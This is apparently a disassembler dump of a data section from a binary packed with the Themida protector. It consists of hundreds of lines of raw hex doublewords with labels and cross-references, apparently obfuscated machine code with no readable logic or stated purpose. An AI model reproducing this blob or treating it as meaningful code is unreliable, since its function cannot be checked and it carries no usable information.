		dd 0B58B21B3h, 60AADD3h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 23C35545h, 0A43B69CBh, 81663714h, 8B895CCFh
		dd 712A185h, 0C4868906h, 31000000h, 71B6585h, 0D9958B06h
		dd 6A06071Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 6688C351h, 41A81C9Bh, 4C2833Bh
		dd 0EC78166h, 20508989h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 24C35545h, 0EAF838E9h, 8B1DB2E0h, 70725BDh
		dd 0F7816606h, 858D7C3Ah, 60AC170h, 2D1DBD89h, 86890607h
		dd 0B8h, 33DBB66h, 0BD8B006Ah, 6071A05h, 0ADDFB5FFh, 0D781060Ah
		dd 2370F7E0h, 79195FFh,	0BD8B0607h, 6070A81h, 0EFEDBB50h
		dd 34891A94h, 10E824h, 0B1D60000h, 950667ACh, 5F5851B1h
		dd 0C0553716h, 9D8B1BFBh, 6070871h, 0DFB5FF5Fh,	81060AADh
		dd 2D50B5CBh, 995FF32h,	6A06072Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0F59EC352h
		dd 8BF1509Eh, 0C1BD83FBh, 60714h, 26840Fh, 85090000h, 6070D5Dh
		dd 11E950h, 2210000h, 8BC744F9h, 43798A74h, 6E0E130Bh
		dd 894DC7E6h, 0BD232434h, 60703B1h, 0ADDFB5FFh,	6A060Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 86BCA4C3h, 0FE2A092h, 95FFDBB7h, 6071F95h, 0B5FFF88Bh
		dd 60AADDFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	3BC35747h, 95FF8373h, 60702C1h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 0EFC35343h, 0ECDA1E3Dh
		dd 8BA27FA9h, 732A5BDh,	65BD8306h, 2060728h, 61840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 6F0E22C3h, 21B58937h, 8B060720h, 70E6985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0F57A188h, 68Bh, 6D8D8900h, 5F06071Eh, 520000C6h, 598D895Bh
		dd 0C7060722h, 72A5185h, 6, 0DE95200h, 0E000000h, 666E8EF5h
		dd 0DED94891h, 9E585ACBh, 0F4CFE95Fh, 0BD31FFFFh, 6070345h
		dd 0B589C18Bh, 6070F8Dh, 18B1858Dh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 67BE4EC3h
		dd 0AA3E88B8h, 0F90A19Fh, 484h,	0F88B5300h, 0BF66505Fh
		dd 6A908DE9h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0BB87C353h, 0C0868A5Bh, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 9ECE5DC3h, 0BF75A0BBh, 6A85B7h, 858D54B3h, 60C2733h
		dd 5C083F9h, 91BD03h, 0E9500607h, 0Dh, 428156h,	50017634h
		dd 4440DABAh, 2404899Ch, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 91C35040h, 0E9607675h, 0Ch, 3F7E6F5Fh
		dd 300156C8h, 6B78D1AFh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0BBCD72C3h, 0BF3250C9h
		dd 5B69F3CFh, 6AF88Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0D6C35545h, 77AC21CEh, 0D2BB6280h, 0F53796ECh
		dd 1E3D95FFh, 9E80607h,	10000000h, 2281360Ch, 0A329DCCh
		dd 19119589h, 8D5B0607h, 0A93D58Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 30F22DF9h
		dd 0B4249CB6h, 188D8589h, 0BB660607h, 0D1FF8D35h, 116DBD8Bh
		dd 0BD830607h, 60719BDh, 0AB850F01h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0C440C351h, 82A327CEh, 6A574D41h, 57006A02h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 90052E87h
		dd 0FCA7D7BBh, 32B7501Dh, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E992BCB0h
		dd 6, 0A9DA9DE4h, 953222Dh, 72AE19Dh, 95FF5B06h, 6070791h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4C35242h
		dd 89C96287h, 849BD8Bh,	3AE90607h, 0E800000Eh, 0
		dd 3DED815Dh, 8A060C27h, 0BBFC8AF8h, 72BA8E6h, 843F858Dh
		dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 741FCC3h,	3D27F86Bh, 0BD897186h, 6072345h
		dd 13E96090h, 0E9000000h, 2B047E32h, 65B8BABEh,	10584CE1h
		dd 0FE05F200h, 50613ACBh, 0EE9h, 0BAA86F00h, 0EB6D19C2h
		dd 8EB5E6FCh, 90BA4E2Eh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 37C35747h, 0F8528E2h,	8B66DEBFh, 64D4B7FBh
		dd 35FFh, 89560000h, 703519Dh, 89645B06h, 25h, 0C59D8B00h
		dd 0FF06071Fh, 72F5985h, 6AFA8B06h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 8261E591h
		dd 0D8830087h, 0F7B3EA00h, 0CED78166h, 39B5FF30h, 6A060720h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0FE07C357h, 6A7AF155h, 0B70F609Bh, 14E9F2h
		dd 9E470000h, 0ED479472h, 1345414Ah, 0D9F6EE80h, 989D42CCh
		dd 89618DF2h, 7306D85h,	8995FF06h, 0E906072Bh, 0F8h, 2211BD8Bh
		dd 0B00607h, 68B0Fh, 9D8B0000h,	6070C6Dh, 0BD8B70E6h, 607153Dh
		dd 0C8BF71E4h, 3C7BA7F4h, 0CD830F61h, 66000000h, 0FF155BBh
		dd 0BD8BC8B6h, 6070DC1h, 6BAh, 8D896000h, 6071365h, 6161F960h
		dd 890FC18Bh, 6, 18B59D31h, 0E8C10607h,	0E2F76604h, 0CE9h
		dd 86A4DD00h, 8E44FACAh, 98E090CFh, 8BC82BDFh, 70B099Dh
		dd 8BD18B06h, 730499Dh,	76E906h, 8BF50000h, 47554C85h
		dd 818D8949h, 8306072Ah, 0BD8B07C0h, 6071545h, 0E900C083h
		dd 9, 0EF287C6Eh, 0E9A8541Eh, 0FD03B44h, 1083h,	0BD958900h
		dd 0F906071Ah, 3BE9h, 8BFA8A00h, 0FF8D8BFAh, 8BFFFFFFh
		dd 7075D9Dh, 1E18306h, 22840Fh,	0A5830000h, 0FFFFFFFFh
		dd 0BD8B56FEh, 6071131h, 89B8B75Fh, 47554C95h, 51958949h
		dd 0E906071Fh, 0
		dd 0AB12B58Dh, 0FA8B060Bh, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 5B1220C3h
		dd 95FF8583h, 6070D69h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0E6C35040h, 0FB4AFF6Ah, 8693F545h, 0FDCB97Fh
		dd 8B660000h, 0FCE183D9h, 0F3C78166h, 6AFC63h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 29C2AAC3h, 0B8791D54h, 0
		dd 0A1BA6660h, 5985017Bh, 61060726h, 0B70FD22Bh, 0C233ADFBh
		dd 0D003E8D1h, 7504E983h, 0FDCB3F4h, 5B56DFBFh,	880Dh
		dd 1D9D8B00h, 8B060703h, 71AD995h, 0DF816606h, 9D8B9209h
		dd 607117Dh, 101D8D8Bh,	0FBB70607h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 12BF5818h, 0BB65EB84h, 258C63EFh
		dd 1D59D23h, 0BD830607h, 6070E29h, 0A3840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0D66EC357h, 41B8A62Eh, 0B82Bh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E9FFB5C3h, 13h, 0B1408D98h,	81A2B796h, 990B7116h, 1958BBB6h
		dd 8B7A743Bh, 722F99Dh,	9B8D8D06h, 0E806074Bh, 0Bh, 0D7466067h
		dd 0A8565107h, 89A7860Bh, 71AF195h, 0E1FF5F06h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 1BC35545h, 0A9126E22h
		dd 0BD83FE8Bh, 6073305h, 11840F00h, 6A000005h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 832FC350h, 73305BDh,	840F0106h, 503h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 0C5C35747h, 50D06C65h
		dd 6918501h, 665F0607h,	0BD83DA8Bh, 6073305h, 96860F03h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 722EC353h, 60E05984h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 91C35242h, 8C66E5C6h
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 9D89C62Dh, 0E180276Dh, 65858904h, 0A060712h
		dd 66840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0CFDAC355h,	442B9A2Ch
		dd 2A1D858Bh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0E3BBAFC3h, 9116E14Fh, 6660B698h
		dd 8B66D78Bh, 0E38061F2h, 0FD85334Fh, 6A06071Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 42EAC350h, 8589609Bh, 6071EA9h, 53565061h, 4895F5Bh
		dd 0A9BF6624h, 0D7816695h, 6A364Ch, 28B99D8Bh, 0D8680607h
		dd 0B3A07B9Dh, 2404815Ah, 5FA36627h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 11C35141h, 419D8BE1h, 0F9060712h
		dd 9F995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0F340BFC3h, 9D8B2144h, 6071E21h
		dd 0ADDF8589h, 6A060Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E9E451C3h, 0Ch,	0B91FC9E0h, 1253E8E6h
		dd 0DE37195Ch, 256E9h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 60A44896h, 8D89EF8Ah
		dd 6071305h, 68D0F61h, 8B000000h, 72899BDh, 0D7858B06h
		dd 6A060AADh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0A10EC353h, 0C79A813Eh, 1800h
		dd 4D8D3100h, 8B06072Eh, 0AADDBB5h, 998D2906h, 8B060702h
		dd 72BCD85h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0E8D0168Eh, 0D98B9DADh, 0BD890689h
		dd 6070BB9h, 2A1D858Bh,	9D890607h, 6070835h, 12E1BD8Bh
		dd 46890607h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 1F0A13C7h, 0ED0D36F0h, 0F5BD2B48h
		dd 96060728h, 14E9h, 5AB9AB00h,	45AE06DEh, 7038B10Ah, 673D007h
		dd 0FAE7029h, 0EE850EAh, 0AA000000h, 1571E30h, 0ADC83C27h
		dd 0F3DFFD7Dh, 6A965B35h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 8D87C357h, 0D6F655E5h
		dd 1EF98D89h, 95890607h, 60708E1h, 0ADD7B5FFh, 6A060Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0CCEE76C3h, 0C870FE9h, 0F000000h, 683h, 6D8D8900h, 0E8060726h
		dd 4, 1F03FFh, 850Fh, 60500000h, 0F38BF28Bh, 24448B61h
		dd 8B5F5204h, 52506000h, 0FD98B66h, 0F525031h, 5A585A31h
		dd 6157B158h, 4244489h,	0AE9h, 0E0895300h, 72A7D01Bh, 5862D283h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E4C35242h
		dd 66975E2Bh, 821518F8h, 0F2BB6633h, 0DF858DCCh, 6A060AADh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 83CEC356h, 0FA8A508Eh, 6A240489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 3017C356h, 95FFE965h, 60709F9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0F9C35343h,	6EBB66A5h, 61DE8B1Ch
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D0C35646h
		dd 0E2D781A5h, 0E9719F42h, 8, 0F057B7B1h, 300A3A7Eh, 330585C7h
		dd 30607h, 0BD8B0000h, 6072B9Dh, 0ADDFBD83h, 0F00060Ah
		dd 4C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0DFF1A057h, 0CADBBCC7h, 3FE9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 60E70F41h, 16F486C6h, 0C30502Eh, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 79C35242h, 6AD8BF0Fh,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4A36C356h
		dd 0DA59D89h, 0BD830607h, 6073305h, 7C850F03h, 0F000004h
		dd 68Eh, 5D9D8900h, 83060713h, 0AADDFBDh, 840F0006h, 463h
		dd 0DFB5FFF9h, 6A060AADh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 1215C352h, 2995FF7Eh
		dd 9060721h, 721FDB5h, 0D3B58B06h, 6A060AADh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0D7A9C353h, 54B357B0h, 0F3D3812Fh, 0C708BD93h, 1000106h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0A0B2C4Eh, 0F455887h, 850FFABFh,	5, 604C56BBh
		dd 8B669601h, 0BF6050FAh, 533FD3C5h, 9A4A05BEh,	23966104h
		dd 725DDBDh, 0DFB5FF06h, 60060AADh, 68E0Fh, 958B0000h
		dd 60729ADh, 6119C680h,	5195FFF5h, 6A060702h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0AAFFC352h, 7E5D08C6h, 81FE6B1Dh, 39BAAEBh, 0D3B58B23h
		dd 60060AADh, 8E9h, 0B75D8300h,	0F81B4893h, 6830FF7h, 89000000h
		dd 714F595h, 858B6106h,	60712A1h, 10E8h, 1577A700h, 97581967h
		dd 0A4D897B0h, 73C5BFD3h, 0CB816665h, 665B9614h, 8689FE8Bh
		dd 0C4h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0E3C35343h, 0C00DDB15h,	394F2B03h, 0D9958B05h
		dd 8B06071Ah, 707B5BDh,	4C28306h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 23C35747h, 59FDFF53h, 559D8952h
		dd 5F060721h, 0E09CBF66h, 66205089h, 0CD5BDB81h, 0C170858Dh
		dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0A74375C3h, 85916D0Fh, 6E9950Ch, 0AE000000h
		dd 7E32E9CEh, 85BD8B04h, 8906071Eh, 0B886h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 861AFE72h, 898938D0h, 732A99Dh, 6AFA8A06h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0AF8D8CBh, 881DDDF6h, 4ABF666Dh, 0B19D8B0Ah,	0FF060728h
		dd 0AADDFB5h, 8E906h, 0C16E0000h, 0DAF888D2h, 0E8BB9086h
		dd 0FF3AE536h, 7079195h, 29958906h, 50060702h, 3489FA8Bh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0B4545A0Fh, 89CC6565h, 712B985h,	0FAB70F06h
		dd 0ADDFB5FFh, 6A060Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 96B74FC3h, 32959D89h, 95FF0607h
		dd 6072D09h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0F4C35141h, 526064D6h, 0B9F3BB66h, 6160605Eh, 0E96161F8h
		dd 11h,	52E4403Ah, 0B7E0957Fh, 3D9EF83Ch, 86ADF3B7h, 0C1BD8361h
		dd 60714h, 3C840Fh, 8B660000h, 14E9F9h,	68D10000h, 0A3076C5h
		dd 14CC0BBEh, 19E20E3Fh, 939D1F4Dh, 0E950116Eh,	11h, 7DA6EDEBh
		dd 0F99C8168h, 263002CEh, 0FED542D4h, 2434891Bh, 9D5BD8Bh
		dd 0B5FF0607h, 60AADDFh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 79C35141h, 240E290Ch,	0D99D234Eh, 0FF060722h
		dd 71F9595h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0DDF9AD2Ch, 7801CEF6h, 558D01BBh
		dd 0FF060732h, 0AADDFB5h, 8840F06h, 0F000000h, 28Fh, 0FFDA8B00h
		dd 702C195h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0B7924703h, 37AB77Eh, 72B1DBDh, 65BD8306h
		dd 2060728h, 58840Fh, 0B5010000h, 60704C1h, 0E69858Bh
		dd 8A0F0607h, 22h, 820F60h, 0E8000000h,	14h, 2F0C3787h
		dd 687C2E4Ch, 0B045EC6h, 9EB7B242h, 583849E2h, 0C66158h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 3D16A50Ch, 85C7967Fh, 6072A51h, 0
		dd 0E9DEB70Fh, 0FFFFF2B7h, 25DD9D8Bh, 0C18B0607h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0FBC35343h, 0E6E65F68h
		dd 29BBF8CFh, 703B19Dh,	10E806h, 6AE60000h, 45FB4AFFh
		dd 7F8693F5h, 2EB586B9h, 8B660ACBh, 0BF6658DEh,	0C0814D31h
		dd 6FA3h, 11E9h, 0F79F5000h, 4CCCE34Ah,	0E2279755h, 0FDD3E278h
		dd 0D23389C5h, 9BB6651h, 348B5915h, 81FA8B10h, 0E34759F6h
		dd 81CE8A41h, 77E541F6h, 0D19D2B02h, 8106071Dh,	7DA6FAF6h
		dd 28F1814Dh, 89030BEEh, 74B71034h, 83D5CF80h, 0BF6601EAh
		dd 4A4A5B5Dh, 699D8B4Ah, 8106071Eh, 0FF90E4FAh,	0B7850FFFh
		dd 8BFFFFFFh, 701C59Dh,	0BA06h,	0EA81F00Eh, 0F0000000h
		dd 8914C283h, 722F195h,	14EA8306h, 36A8858Dh, 6450060Ch
		dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h
		dd 8166FFFFh, 0F5A4D38h, 1285h,	50B70F00h, 81D0033Ch, 45503Ah
		dd 0A840F00h, 2D000000h, 1000h,	0FFFFD9E9h, 89C88BFFh
		dd 7231985h, 3C400306h,	650B70Fh, 13D19589h, 508B0607h
		dd 25958950h, 5060712h,	0F8h, 30C508Bh,	0B59589D1h, 3060719h
		dd 95890850h, 607221Dh,	58F64h,	83000000h, 13E904C4h, 51000000h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 0BD83C3C0h
		dd 6073335h, 24840F00h,	0C6000000h, 709CD85h, 0D2684706h
		dd 0FFD49AA7h, 70D99B5h, 38858D06h, 0FF060A70h,	0FF006AD0h
		dd 818589D0h, 8B06070Bh, 9B8D8DD3h, 0F060C37h, 68Eh, 3FF68100h
		dd 8938C944h, 71AD98Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 4C63807Eh, 0FE98482h
		dd 85C7DFB7h, 607101Dh,	692Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 59C35141h, 2C892744h, 85C7C7CCh
		dd 6073305h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D3C35747h
		dd 1B5C34F6h, 51B5FF9Ch, 0FF060713h, 7185995h, 8FC08106h
		dd 6A47DBA5h, 6995FF00h, 8B06070Dh, 0AB29EBC0h,	92720457h
		dd 309C82F4h, 5E02E430h, 0A6E843A8h, 350BCDC2h,	3AB4234Fh
		dd 767DFCF8h, 452AA598h, 0CC23274Eh, 0FC91B20Ch, 38C58D8Dh
		dd 6A060Ch, 3E856h
dword_58FF94	dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
					; DATA XREF: Themida_:0053D9B4o
		dd 0F91446C3h, 0B2362F96h, 21BD8903h, 8B060720h, 709B995h
		dd 0D98D8906h, 6A06071Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0CACEC352h,	0D6E64FB2h
		dd 85C70376h, 607101Dh,	61C8h, 11E8h, 0DCE35A00h, 0AE1A962Ah
		dd 2811611h, 0FA091F99h, 6653EC01h, 38EAF681h, 85C75A58h
		dd 6073305h, 0
		dd 0AE59D8Bh, 9D290607h, 60706E9h, 0BE9B5FFh, 6A0607h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0F23323C3h, 6EC67886h, 0D78BF88Bh, 185995FFh, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 2D6632C3h, 891CB669h, 71DC185h, 0FF006A06h, 70D6995h
		dd 0EBC08B06h, 47FE695Eh, 2F0003A7h, 49997470h,	3CF4B485h
		dd 72066A87h, 956ECF2Ch, 5469BAC9h, 3130A3DDh, 9168AD35h
		dd 0D9700A7Ah, 3861FBB6h, 74E65D80h, 8589DE67h,	472AEFF4h
		dd 0EDAF0D3h, 46B9BFD7h, 169385AEh, 7983EFC3h, 0E042A12Ah
		dd 0E1436F5Ah, 0AF32A042h, 700196C3h, 0B89E8D36h, 0DEED9D09h
		dd 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch,	0A9A90B33h
		dd 0F1982633h, 0EF5E265Ah, 339F2FFEh, 0FFB44E60h, 0F867A5E4h
		dd 0A09F2BAAh, 23A0A3BEh, 79672039h, 0CED1A3BAh, 0D71B2034h
		dd 339F1506h, 831D2933h, 0C0982633h, 0AAA11EB6h, 0D6157635h
		dd 0AF941F19h, 9D0DD963h, 839E2129h, 35982664h,	1F152359h
		dd 4B941F09h, 8C1DAB63h, 39E2A0Ah, 0B0D1B3CCh, 14932034h
		dd 6AA1A23Ch, 0B0152633h, 9C941F09h, 4DAACE63h,	0F6D82633h
		dd 6AD8A3BEh, 24C8203Fh, 0D8A11CB6h, 0FF677635h, 339F2692h
		dd 1794E2B0h, 41A11CB6h, 23157635h, 55941F19h, 0E00DD963h
		dd 3D9E2129h, 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh
		dd 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h
		dd 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h
		dd 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch
		dd 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h
		dd 0A8517F6Ch, 88152637h, 9C941F1Bh, 77C5ABBEh,	9320203Fh
		dd 78000000h, 271E7FCh,	0C8D00731h, 4904C783h, 0FFF2850Fh
		dd 0B58DFFFFh, 60C3A5Dh, 3A7C8D8Dh, 0CF2B060Ch,	8B05E983h
		dd 0CE8C8h
		db 2 dup(0)
word_590242	dw 2F34h		; DATA XREF: Themida_:0053CE48o
		dd 0DC05C8A4h, 872927A4h, 14E9C231h, 0BF000000h, 0E28BD511h
		dd 0CEEE6834h, 9010C829h, 0DFDE857Bh, 5FBBD72Ah, 689BD89h
		dd 0C7810607h, 58C3h, 2C55958Bh, 0C02B0607h, 11098D89h
		dd 1C8B0607h, 75B58907h, 81060728h, 9C5954EBh, 0DE950h
		dd 4B570000h, 62CB46FCh, 57FBACA5h, 815DCDD4h, 0A653E6EBh
		dd 0F9BD893Ah, 8106072Eh, 0C6B69DC3h, 298D0325h, 89060712h
		dd 81F5071Ch, 87007FF6h, 4E88313h, 0A7D8F881h, 850FFFFFh
		dd 0FFFFFFAEh, 8E9h, 0E26F5300h, 609708B0h, 0F68D8D96h
		dd 6A060C3Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0CB10C355h, 0F0CDB944h, 858B28F4h
		dd 6070BC9h, 1AD98D89h,	6E90607h, 2000000h, 59FE23B9h
		dd 1D85C70Ah, 28060710h, 6A00006Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0A523C355h
		dd 99BD8983h, 0C7060723h, 7330585h, 6, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0F08BF88Dh, 0BE9B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 977602C3h, 0E567E14Eh
		dd 95FF96E7h, 6071859h,	1069BD89h, 6A0607h, 0D6995FFh
		dd 0C08B0607h, 0E5F15EEBh, 6F0CF781h, 11E32525h, 0CA10C71h
		dd 38C293F1h, 65E419EBh, 0D8007655h, 9AE53097h,	977946CAh
		dd 0F71507DBh, 0BB11CDC0h, 4DA6BDFDh, 0FED92876h, 0DB02D37h
		dd 7EF37237h, 1B705CDBh, 2AA8BF40h, 0F37F800Ah,	74061455h
		dd 0C4740D47h, 0C8547E02h, 0C0371B55h, 5F0C470Dh, 378BC87Ah
		dd 0FE8h, 5E68C400h, 880AA2B6h,	15870D80h, 1EEDF377h, 5AF6B70Fh
		dd 81F7B70Fh, 66C8C2h, 0F59D3300h, 2B06072Eh, 0E99D8BC0h
		dd 8B060707h, 8D8B023Ch, 60702F1h, 2344EF81h, 9E93E4Ch
		dd 8000000h, 5E7F353Bh,	0DED69E83h, 8B0EEF81h, 0D88B54C8h
		dd 3A99EF81h, 0B5897EC0h, 6070579h, 0E9023C89h,	11h, 46E9DA5Dh
		dd 0F72CDADEh, 4CB0E651h, 39CC9EF9h, 6850FD4h, 31000000h
		dd 711399Dh, 3E88306h, 4897C580h, 0E5B58960h, 89060720h
		dd 708D1B5h, 0F8816106h, 0FFFF9A08h, 13850Fh, 0F500000h
		dd 0E95BF1BFh, 29h, 7C1BFC6Eh, 93C4B3C7h, 0BF0F6027h, 49958BDFh
		dd 61060712h, 0FFFF66E9h, 16BC14FFh, 4AF3D46h, 9E815A0Ah
		dd 97818584h, 7B8D8DB3h, 6A060C3Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0CDF6C356h
		dd 6B691B77h, 0BE60604Ah, 60417368h, 9E9h, 1CF39800h, 0E7395180h
		dd 8061807Ah, 896195DCh, 71AD98Dh, 14E806h, 0D28A0000h
		dd 0C5B89A43h, 1B644986h, 0D7517604h, 0C60E9B68h, 12E97914h
		dd 8D000000h, 5C3139E3h, 470B2766h, 8B536F2Ah, 8AC4450h
		dd 85C75FF3h, 607101Dh,	7508h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0ECC35545h,	40E43EBAh, 5532B6EEh
		dd 2995899Dh, 0C7060712h, 7330585h, 6, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0D993365Eh, 65B58B07h, 0E806071Fh, 8, 10385111h, 0B83FAE20h
		dd 5E616050h, 59B5FF5Ah, 6A060708h, 3E85600h, 20000000h
